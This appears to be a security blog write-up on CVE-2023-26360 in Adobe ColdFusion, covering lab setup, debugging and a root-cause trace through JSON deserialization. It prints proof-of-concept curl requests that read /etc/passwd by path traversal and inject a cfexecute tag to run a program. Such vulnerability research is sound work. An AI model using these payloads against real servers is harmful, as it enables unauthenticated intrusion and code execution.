Unauthenticated RCE in Adobe Coldfusion – CVE-2023-26360

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January 10, 2024


CVE-2023-263060 was exploited in the wild in Adobe ColdFusion product, a commercial application server for rapid web application development. The vulnerability affects both the 2018 and 2021 versions, allowing attackers to execute unauthenticated RCE (Remote Code Execution) without user interaction through untrusted JSON data. Threat actors use this vulnerability to breach US government agencies (Federal Civilian Executive) and gain initial access.

According to Threatrecon’s tweet, it has been confirmed that the Chinese APT group SectorB01, sponsored by the Chinese government, exploited this vulnerability.

Adobe Coldfusion Vulnerability CVE-2023-26360

In this analysis, we will delve into a deep analysis of the root cause of the techniques and exploitation. 

Setting up the testing lab

No matter the operating system, the application seamlessly runs on both Windows and Linux, relying on the Java installation. For this analysis, I’m using the Ubuntu version, and you can download ColdFusion from the following link for the 2021 version (required java JDKinstallation)

Starting with a basic installation, the application offers an easy debugging option. After logging into the portal using the password generated during installation, you can enable debugging by navigating to http://localhost:8500/CFIDE/administrator/index.cfm

Go to Debugging & Logging from the menu on the left side.

Adobe Coldfusion Vulnerability Debugging and Logging

Add the  (host & port).

Adobe Coldfusion Vulnerability Debugging and Logging host & port

Then start the Debugging Server.

Adobe Coldfusion Vulnerability DebuggingServer

Setting up the IDE

Add Remote JVM debug.

Remote JVM debug

Start the debugger to connect to the application on the same host and port we used above.

Start the debugger to connect to the application on the same host and port

Now it should be connected.

Adobe Coldfusion Debugging Connected

Add the libraries of the application by uploading the libraries files through File > Project Structure > libraries.

Debugging Library Structure

Reproducing the vulnerability

The CVE comes with two methods: file ready arbitrary and exploit remote code execution.

1 – File Read Arbitrary

In the first method of the exploit, the PoC demonstrates arbitrary file read.

Note: You can use any cfs file to parse the malicious JSON code attribute, but I’ll opt for utils.cfs because it generates less output. In the subsequent step, after sending the POST request using Curl, we will read the “/etc/passwd” file in Linux.

The Command: curl -X POST

‘’ -d ‘_variables={“_metadata”: {“classname”: “a/··/··/··/··/··/etc/passwd”}, “_variable

s”: []}’

File Read Arbitrary

By running the following curl command, we can read the /etc/passwd  file.

I used this PoC to trigger the vulnerability while reproducing debugging

Request and Response in Burpsuite

The request was a straightforward POST request directed to the /CFIDE/AIR/Conflict.cfc file under the wwwroot directory, the root directory of the Adobe ColdFusion web server. The request included a JSON payload in the request body, with the _variables parameter containing a metadata field specifying the classname as a/··/··/··/··/··/etc/passwd. This resulted in reading and printing the content of the /etc/passwd file.

2 – Remote code execution

To achieve remote code execution, the technique involves making a request using an injected cfexecute tag. Refer to the table below for details on using this tag to specify a name with a Windows or Linux application.

CFML reference of ColdFusion tags

The curl Command :  curl  -k -X POST ‘’ -d _variables=<cfexecute name=’/usr/bin/gnome-calculator’></cfexecute>

Request and Response in Burpsuite

Log File After Injecting the cfexecute Tag

‘’ -d _variables={“_metadata”:{“classname”:a”/··/logs/coldfusion-out.log/”,”_variables”:[]}}”

Request and Response in Burpsuite
Debugging Request and Response

The Analysis

The vulnerability was initially confusing as I couldn’t identify the root cause immediately. However, after performing patch diffing on the JSON-related library files at the path /lib/JSONUtils.java, the following were obtained.

Adobe Coldfusion - CVE-2023-26360 Analysis

Upon comparing the old and new versions, we identified six differences. The most crucial change involved the addition of the private static boolean allowNonCFCDeserialization variable, designed to prevent the custom deserialization of CFCs (JSON deserialization). Let’s look into this modification in more detail.

After triggering the exploit using the same PoC script to read the /etc/passwd file and setting a breakpoint at coldfusion.runtime.JSONUtils.convertToTemplateProxy 

Adobe Coldfusion runtime execution command

…the execution flow following the vulnerability exploit is outlined as follows.

Execution flow following the vulnerability exploit

Initially, the process begins with ConvertToQuery, which serves as the template map. Let’s break down its functionality:

  • It retrieves the value from the request within the _metadata key from the input(s), as observed in the runtime values during debugging.
  • It acquires the FusionContext and checks for null data. If there is data, the process proceeds by attempting to extract the classname from the metadata map.

When it comes to bypassing the file path and reading the /etc/passwd file, the ConvertToQuery method follows these steps:

1. It retrieves the path (contentPath) variable and saves it as a file with the pageFile variable.

File name variable

2. Passes the file to TemplateProxyFactory.resolveFile.

file passing to resolvefile

3. Passes the variable PageContext to the resolveName method.

Passes the variable PageContext to the resolveName method

4. Calls getCFCInstance and passes the canonicalResolvedFile file to newInstance.

Calls getCFCInstance and passes the canonicalResolvedFile file to newInstance

5. newInstance calls the findClass method with the realPath.

newInstance calls the findClass method with the realPath

6. findClass calls get with passing realPath as the argument.

Class command

7. get method calls get_stateOn and get_stateOff.

Get command


Get object command

8. Calls get_statsOn and returns null, after which get method calls get_statsOff.


get statsoff

9. Checks if it is null and calls fetch with the key.


Debugging Request and Response

10. fetch calls TemplateClassLoader.translator.translateJava to handle the file format, as shown below.

The translateJava method is designed to determine the file format. If the file is recognized as a ColdFusion component (CFC), the application processes it using a specialized assembler.

However, if the file does not adhere to either a CFC or a standard class, the application dynamically compiles the file on the fly, assuming it contains source code for a Java ColdFusion component or module. This process eventually leads to the compilation of the output.log file, saving the application into the log.

Given the extensive nature of the debugging process, I’ve created a simple graph to provide a concise summary of the flow leading to the root cause of this vulnerability.

Adobe Coldfusion - CVE-2023-26360 Root Cause Flow


In summary, CVE-2023-26360 revealed a severe unauthenticated Remote Code Execution (RCE) threat in ColdFusion. Exploited by SectorB01, this vulnerability affects both the 2018 and 2021 versions, posing a significant risk to US government agencies.

The root cause was identified in JSON  libraries, emphasizing the need for immediate security attention. This incident highlights the crucial importance of constant security vigilance, emphasizing proactive measures from the start.

Security should remain a top priority, with assets regularly updated, and developers constantly aware.




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